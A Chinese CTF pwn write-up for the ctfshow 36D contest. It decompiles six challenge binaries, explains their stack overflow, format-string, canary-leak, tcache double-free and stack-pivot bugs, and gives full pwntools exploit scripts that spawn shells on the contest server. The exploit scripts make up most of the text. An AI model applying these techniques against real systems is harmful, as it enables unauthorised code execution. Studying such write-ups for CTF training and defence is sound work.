menu EDS
ctfshow 36d pwn wp
4735 浏览 | 2020-12-10 | 分类:pwn | 标签:

36d pwn wp

签到

这题环境有问题,nc连上就是shell,但是目标机会丢失空格,任何形式的空格都不行。留一个本地exp。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'

local = 0
if local == 1:
    r=process('./qiandao')
    #gdb.attach(r,'b * malloc')
    gdb.attach(r,'b * 0x400662')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r=remote('111.231.70.44',28027)
    #libc = ELF('./libc6_2.27-3ubuntu1_amd64.so')

elf = ELF('./qiandao')
rdi = 0x4006d3
system = elf.symbols['system']
gets = elf.symbols['gets']
bss = 0x602100
rsi15 = 0x4006d1
r.sendline('a'*(0x28)+p64(0xdeadbeef)+p64(rdi)+p64(bss)+p64(gets)+p64(rdi)+p64(bss)+p64(system))
r.sendline('/bin/sh')

r.interactive()

babyFmtstr

用ida加载,打开main()函数如下所示。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  FILE *v3; // rdi
  char *ptr; // ST08_8
  void *v5; // ST10_8

  setbuf(stdin, 0LL);
  v3 = stdout;
  setbuf(stdout, 0LL);
  ptr = sub_400D0A();
  v5 = sub_400DA0(v3, 0LL);
  printf("your motto is \"%s\"\n", v5);
  free(ptr);
  free(v5);
  return 0LL;
}

跟进sub_400D0A()发现存在格式化字符串漏洞。

char *sub_400D0A()
{
  char *v0; // ST08_8
  char s; // [rsp+10h] [rbp-40h]
  unsigned __int64 v3; // [rsp+48h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  sleep(0);
  puts("please input name:");
  sub_400BF5(&s, 50LL);
  v0 = strdup(&s);
  printf("Hello ", sleep);
  printf(&s);
  return v0;
}

函数执行完事后会进入sub_400DA0()函数内。

char *sub_400DA0()
{
  _QWORD *v0; // rax
  __int64 v2; // [rsp+0h] [rbp-420h]
  char *v3; // [rsp+8h] [rbp-418h]
  char s; // [rsp+10h] [rbp-410h]
  unsigned __int64 v5; // [rsp+418h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  puts("please input size of motto:");
  v2 = sub_400CA0("please input size of motto:");
  if ( v2 < 0 )
    v2 = -v2;
  if ( v2 > 1024 )
    v2 = 1024LL;
  puts("please input motto:");
  sub_400BF5(&s, v2);
  v3 = strdup(&s);
  if ( sub_400B96(&s, v2) ^ 1 )
  {
    v0 = __cxa_allocate_exception(8LL);
    *v0 = "The format of motto is error!";
    __cxa_throw(v0, &typeinfo for'char const*, 0LL);
  }
  return v3;
}

攻击思路是利用格式化字符串漏洞,修改strdup()函数的GOT为printf()函数的PLT并泄露__libc_start_main_ret,第二次调用strdup()函数时会调用printf()函数,再次利用格式化字符串漏洞修改printf()函数的GOT为one_gadet地址,最后回到main()函数时调用printf()函数触发one_gadgetgetshell。
exp如下。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'



local = 1
if local == 1:
    r=process('./babyfmtstr')
    gdb.attach(r,'b * 0x0400e31')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r=remote('111.231.70.44',28041)
    libc = ELF('./libc6_2.23-0ubuntu11_amd64.so')

elf = ELF('./babyfmtstr')

strdup_got = elf.got['strdup']
free_got = elf.got['free']
printf_got = elf.got['printf']
cxa_allocate_exception_got = elf.got['__cxa_allocate_exception']

r.recvuntil('name:')
#r.sendline('aaaaaaaa%8$p')

r.sendline('%25$p%50c%12$n%2368c%13$hn'+cyclic(6)+p64(strdup_got+2)+p64(strdup_got))
r.recvuntil('Hello ')
lsmr = int(r.recv(14),16)
log.success('libc_start_main_ret:'+hex(lsmr))
r.recvuntil('motto:')
r.sendline('1024')
r.recvuntil('motto:')

if local == 1:
    lsmrp = 0x020840
else:
    lsmrp = 0x020830

libc_addr = lsmr - lsmrp
if local == 1:
    ogg = 0x45226+libc_addr
else:
    ogg = 0x45216+libc_addr

log.success('libc_addr:'+hex(libc_addr))

ogglist = [ogg&0xffff,(ogg>>16)&0xffff,(ogg>>32)&0xffff]
exp = "%"+str(ogglist[0])+'c%16$hn%'+str((ogglist[1]+0x10000-ogglist[0])%0x10000)+'c%17$hn'
print len(exp)
print exp
exp+='\x00'*(64-len(exp))+p64(printf_got)+p64(printf_got+2)+p64(printf_got+4)
r.sendline(exp)
log.success('ogg:'+hex(ogg))

r.interactive()

MagicString

用ida加载,main()函数,存在gets()函数,还有system()函数,直接栈溢出一把梭。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-2A0h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  system("echo Throw away ida pro!!! I want a girlfriend!");
  gets(&v4, 0LL);
  return 0;
}

exp如下

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'

local = 1
if local == 1:
    r=process('./magicstring')
    #gdb.attach(r,'b * malloc')
    gdb.attach(r,'b * 0x04006CB')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r=remote('111.231.70.44',28052)
    #libc = ELF('./libc6_2.27-3ubuntu1_amd64.so')

elf = ELF('./magicstring')
rdi = 0x400733
system = elf.symbols['system']
gets = elf.symbols['gets']
bss = 0x601300
rsi15 = 0x4006d1
r.sendline('a'*(0x2a0)+p64(0xdeadbeef)+p64(rdi)+p64(bss)+p64(gets)+p64(rdi)+p64(bss)+p64(system))
r.sendline('/bin/sh')

r.interactive()

MengxinStack

用ida加载,发现main()函数似乎为很简单的栈溢出,但是做的时候发现我有些年轻了,这道题并没有那么的简单。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // ST0C_4
  char buf; // [rsp+10h] [rbp-40h]
  unsigned __int64 v6; // [rsp+38h] [rbp-18h]

  v6 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  puts("She said: hello?");
  v3 = read(0, &buf, 0x100uLL) - 1;
  printf("%s", &buf);
  read(0, &buf, 0x100uLL);
  puts("You had me at hello.");
  return 0;
}

checksec了一下发现该题三保护全开,这使得我们不能直接泄露地址或者直接溢出攻击。

/36d/mengxinstack'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

第一步先泄露canary,还附赠了一个栈地址(没啥用)。

r.sendline(cyclic(40))
r.recvuntil('jaaa')
canary = u64(r.recv(8))-0xa
log.success('canary:'+hex(canary))
stack = u64(r.recv(6)+'\x00\x00')
log.success('stack:'+hex(stack))

第二步回到main()函数重新执行,由于暂时无法泄露PIE基址,不能直接回到main()函数上,但是当前函数为main()函数,他的返回地址是__libc_start_main_ret,可以通过修改__libc_start_main_ret的后两位,让该程序重新运行,只需要将跳转地址差在836前的任意一个有效地址,都可以重启程序。

[-------------------------------------code-------------------------------------]
   0x7f12d36ad7fc <__libc_start_main+172>:    mov    rax,QWORD PTR fs:0x300
   0x7f12d36ad805 <__libc_start_main+181>:    mov    QWORD PTR [rsp+0x68],rax
   0x7f12d36ad80a <__libc_start_main+186>:    mov    rax,QWORD PTR fs:0x2f8
   0x7f12d36ad813 <__libc_start_main+195>:    mov    QWORD PTR [rsp+0x70],rax
   0x7f12d36ad818 <__libc_start_main+200>:    lea    rax,[rsp+0x20]
   0x7f12d36ad81d <__libc_start_main+205>:    mov    QWORD PTR fs:0x300,rax
   0x7f12d36ad826 <__libc_start_main+214>:    mov    rax,QWORD PTR [rip+0x3a368b]        # 0x7f12d3a50eb8
   0x7f12d36ad82d <__libc_start_main+221>:    mov    rsi,QWORD PTR [rsp+0x8]
   0x7f12d36ad832 <__libc_start_main+226>:    mov    edi,DWORD PTR [rsp+0x14]
=> 0x7f12d36ad836 <__libc_start_main+230>:    mov    rdx,QWORD PTR [rax]
   0x7f12d36ad839 <__libc_start_main+233>:    mov    rax,QWORD PTR [rsp+0x18]
   0x7f12d36ad83e <__libc_start_main+238>:    call   rax
[------------------------------------stack-------------------------------------]
if local ==1:
    r.send(cyclic(40)+p64(canary)+p64(0xdeadbeef)+cyclic(16)+'\x13')
else:
    r.send(cyclic(40)+p64(canary)+p64(0xdeadbeef)+cyclic(16)+'\x03')

重新执行程序后回到main()函数。第二次输出泄露libc并计算one_gadget地址。

r.send(cyclic(72))
r.recvuntil('raaa')
lsmr = u64(r.recv(6)+'\x00\x00')
if local == 1:
    lsmrp = 0x020840
else:
    lsmrp = 0x020830

libc_addr = lsmr - lsmrp
log.success('libc_addr:'+hex(libc_addr))
if local == 1:
    ogg = 0x45226+libc_addr
else:
    ogg = 0x45216+libc_addr

修改返回地址为one_gadget,并覆盖后面的栈为0方便触发one_gadget。最终exp如下。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'



local = 1
if local == 1:
    r=process('./mengxinstack')
    gdb.attach(r,'b * $rebase(0x9f1)')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r=remote('111.231.70.44',28037)
    libc = ELF('./libc6_2.23-0ubuntu11_amd64.so')

elf = ELF('./mengxinstack')

r.sendline(cyclic(40))
r.recvuntil('jaaa')
canary = u64(r.recv(8))-0xa
log.success('canary:'+hex(canary))
stack = u64(r.recv(6)+'\x00\x00')
log.success('stack:'+hex(stack))
if local ==1:
    r.send(cyclic(40)+p64(canary)+p64(0xdeadbeef)+cyclic(16)+'\x13')
else:
    r.send(cyclic(40)+p64(canary)+p64(0xdeadbeef)+cyclic(16)+'\x03')

r.send(cyclic(72))
r.recvuntil('raaa')
lsmr = u64(r.recv(6)+'\x00\x00')
if local == 1:
    lsmrp = 0x020840
else:
    lsmrp = 0x020830

libc_addr = lsmr - lsmrp
log.success('libc_addr:'+hex(libc_addr))
if local == 1:
    ogg = 0x45226+libc_addr
else:
    ogg = 0x45216+libc_addr

r.send(cyclic(40)+p64(canary)+p64(0xdeadbeef)+cyclic(16)+p64(ogg)+'\x00'*0x40)

r.interactive()

babyheap

用ida加载,主函数为一个循环的函数实现堆功能,打开menu()函数查看该题功能只有增删查。

__int64 menu()
{
  puts("1.add");
  puts("2.delete");
  puts("3.show");
  puts("4.exit");
  printf(">>");
  return readint();
}

add()函数,无漏洞。

int add()
{
  signed int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 29; ++i )
  {
    if ( !list[i] )
    {
      list[i] = (char *)malloc(0x20uLL);
      printf("leave some message_of_your 36D:");
      readn(list[i], 16LL);
      puts("ok\n");
      return puts("Now you get your 36D which you want!\n");
    }
  }
  return puts("Full!");
}

delete()函数free后指针未置零,存在double free漏洞。

int dele()
{
  char *v0; // rax
  int v2; // [rsp+Ch] [rbp-4h]

  printf("index:");
  LODWORD(v0) = readint();
  v2 = v0;
  if ( v0 >= 0 && v0 <= 29 )
  {
    v0 = list[v0];
    if ( v0 )
    {
      free(list[v2]);
      puts("ok");
      LODWORD(v0) = puts("you delete your 36D!\n");
    }
  }
  return v0;
}

show()函数为直接puts堆地址数组指定位置的内容,不存在数组越界。

int show()
{
  char *v0; // rax
  int v2; // [rsp+Ch] [rbp-4h]

  printf("index:");
  LODWORD(v0) = readint();
  v2 = v0;
  if ( v0 >= 0 && v0 <= 29 )
  {
    v0 = list[v0];
    if ( v0 )
      LODWORD(v0) = puts(list[v2]);
  }
  return v0;
}

由于tcache机制,2.23和2.27的堆机制完全不同,double free的利用姿势也完全不同。如果连续释放两次一个堆块报错为2.23,没报错为2.27,触发double free detected为2.29+(新版2.27也有这个,建议18.04虚拟机不要乱更新,坑死我了)。先远程nc一下,连续free两次一个堆块程序正常执行,推测对方机器为2.27。
checksec 发现该程序未开启PIE,可以直接修改堆地址数组泄露libc。

ai@ai:~/桌面$ checksec babyheap
[*] '/home/ai/桌面/babyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

利用tcache任意地址写到堆数组leak libc。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'

local = 1
if local == 1:
    r=process('./babyheap')
    #gdb.attach(r,'b * realloc')
    #gdb.attach(r,'b * 0x4008a7')
    #gdb.attach(r,'b * 0x04009dd')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r=remote('111.231.70.44',28070)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

elf = ELF('./babyheap')
def add(content):
    r.recvuntil(">>")
    r.sendline("1")
    r.recvuntil("36D:")
    r.send(content)

def show(index):
    r.recvuntil(">>")
    r.sendline("3")
    r.recvuntil("index:")
    r.sendline(str(index))


def dele(index):
    r.recvuntil(">>")
    r.sendline("2")
    r.recvuntil("index:")
    r.sendline(str(index))

puts_got = elf.got['puts']

add('a'*0x10)
add('b'*0x10)
add('c'*0x10)
add('d'*0x10)
add('e'*0x10)

for i in range(8):
    dele(1)

add(p64(0x602050)+'\n')
add('a'*0x10+'\n')
add(p64(puts_got)+'\n')
show(0)
puts = u64(r.recv(6)+'\x00\x00')
log.success('puts'+hex(puts))
libc_addr = puts - libc.symbols['puts']
log.success('libc_addr'+hex(libc_addr))

r.interactive()

利用double free任意地址写,覆盖__free_hookgetshell,2.27的堆地址,2.27堆寻址时只需要让fd为0即可,不需要对应堆头。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'

local = 1
if local == 1:
    r=process('./babyheap')
    #gdb.attach(r,'b * realloc')
    #gdb.attach(r,'b * 0x4008a7')
    #gdb.attach(r,'b * 0x04009dd')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r=remote('111.231.70.44',28070)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

elf = ELF('./babyheap')
def add(content):
    r.recvuntil(">>")
    r.sendline("1")
    r.recvuntil("36D:")
    r.send(content)

def show(index):
    r.recvuntil(">>")
    r.sendline("3")
    r.recvuntil("index:")
    r.sendline(str(index))

def dele(index):
    r.recvuntil(">>")
    r.sendline("2")
    r.recvuntil("index:")
    r.sendline(str(index))

puts_got = elf.got['puts']

add('a'*0x10)
add('b'*0x10)
add('c'*0x10)
add('d'*0x10)
add('e'*0x10)

for i in range(8):
    dele(1)

add(p64(0x602050)+'\n')
add('a'*0x10+'\n')
add(p64(puts_got)+'\n')
show(0)
puts = u64(r.recv(6)+'\x00\x00')
log.success('puts'+hex(puts))
libc_addr = puts - libc.symbols['puts']
log.success('libc_addr'+hex(libc_addr))
malloc_hook = libc_addr + libc.symbols['__malloc_hook']
free_hook = libc_addr + libc.symbols['__free_hook']
log.success('free_hook'+hex(free_hook))
ogg = [libc_addr+0x4f2c5,libc_addr+0x4f322,libc_addr+0x10a38c]
realloc = libc_addr+libc.symbols['realloc']
log.success('malloc_hook'+hex(malloc_hook))
dele(2)
dele(3)
dele(2)
add(p64(free_hook-0x10)+'\n')
add('z'*0x10)
add('y'*0x10)
print 'ok'
add(p64(ogg[1]))
r.recvuntil(">>")
r.sendline("2")
r.sendline("0")

r.interactive()

tang

用ida加载,打开main()函数如下所示,末尾存在栈溢出漏洞,不过只能溢出一个字节。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-50h]
  unsigned __int64 v5; // [rsp+38h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  lookhere();
  puts(&byte_B80);
  read(0, &::buf, 0x190uLL);
  lookthere();
  puts(asc_BA8);
  return read(0, &buf, 0x60uLL);
}

lookhere()函数存在格式化字符串漏洞。

unsigned __int64 lookhere()
{
  char buf; // [rsp+0h] [rbp-20h]
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  puts(&s);
  read(0, &buf, 5uLL);
  printf(&buf, &buf);
  return __readfsqword(0x28u) ^ v2;
}

lookhere()函数下的read()函数为向全局变量写入0x190个字符串,不存在栈溢出,可以将栈迁移到这里执行。
lookthere()函数会将上次read()的前0x110地址覆盖为垃圾字符。

void *lookthere()
{
  return memcpy(&buf, &off_B78, 0x110uLL);
}

checksec分析,该程序三保护全开。

[*] '/home/pwn/Desktop/bluehat2020/36d/tang'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

先利用格式化字符串泄露canary(),修改__libc_start_main_ret重启程序。

r.send('%19$p')
r.recvuntil('\n')
canary = int(r.recv(18),16)
log.success('canary:'+hex(canary))

r.sendline(cyclic(0x10))
r.recvuntil('...')
if local ==1:
    r.send(cyclic(56)+p64(canary)+cyclic(16)+p64(0xdeadbeef)+'\x13')
else:
    r.send(cyclic(56)+p64(canary)+cyclic(16)+p64(0xdeadbeef)+'\x03')
sleep(1)

再次泄露pie。

r.send('%11$p')
r.recvuntil('\n')
r.recvuntil('\n')
pie = int(r.recv(14),16)-0xa51
log.success('pie:'+hex(pie))

r.sendline(cyclic(0x10))
r.recvuntil('...')
if local ==1:
    r.send(cyclic(56)+p64(canary)+cyclic(16)+p64(0xdeadbeef)+'\x13')
else:
    r.send(cyclic(56)+p64(canary)+cyclic(16)+p64(0xdeadbeef)+'\x03')
sleep(1)

再次泄露libc地址,利用栈迁移跳到one_gadget合适区域getshell。最终exp如下。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'


local = 1
if local == 1:
    r=process('./tang')
    gdb.attach(r,'b * $rebase(0xac6)')
else:
    r=remote('111.231.70.44',28076)

elf = ELF('./tang')

r.send('%19$p')
r.recvuntil('\n')
canary = int(r.recv(18),16)
log.success('canary:'+hex(canary))

r.sendline(cyclic(0x10))
r.recvuntil('...')
if local ==1:
    r.send(cyclic(56)+p64(canary)+cyclic(16)+p64(0xdeadbeef)+'\x13')
else:
    r.send(cyclic(56)+p64(canary)+cyclic(16)+p64(0xdeadbeef)+'\x03')
sleep(1)

r.send('%11$p')
r.recvuntil('\n')
r.recvuntil('\n')
pie = int(r.recv(14),16)-0xa51
log.success('pie:'+hex(pie))

r.sendline(cyclic(0x10))
r.recvuntil('...')
if local ==1:
    r.send(cyclic(56)+p64(canary)+cyclic(16)+p64(0xdeadbeef)+'\x13')
else:
    r.send(cyclic(56)+p64(canary)+cyclic(16)+p64(0xdeadbeef)+'\x03')
sleep(1)

r.recvuntil('\n')
r.send('%23$p')
r.recvuntil('\n')
lsmr = int(r.recv(14),16)
log.success('lsmr:'+hex(lsmr))
if local == 1:
    lsmrp = 0x020840
else:
    lsmrp = 0x020830

libc_addr = lsmr - lsmrp
log.success('libc_addr:'+hex(libc_addr))
if local == 1:
    ogg = 0x4527a+libc_addr
else:
    ogg = 0x4526a+libc_addr

r.sendline(p64(pie+0x1040)+p64(ogg)+'z'*(0x170-7*0x10)+p64(pie+0x1040)+p64(ogg))
r.recvuntil('...')
r.send(cyclic(56)+p64(canary)+cyclic(16)+p64(pie+0x201150)+p64(pie+0x9ca))

r.interactive()

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!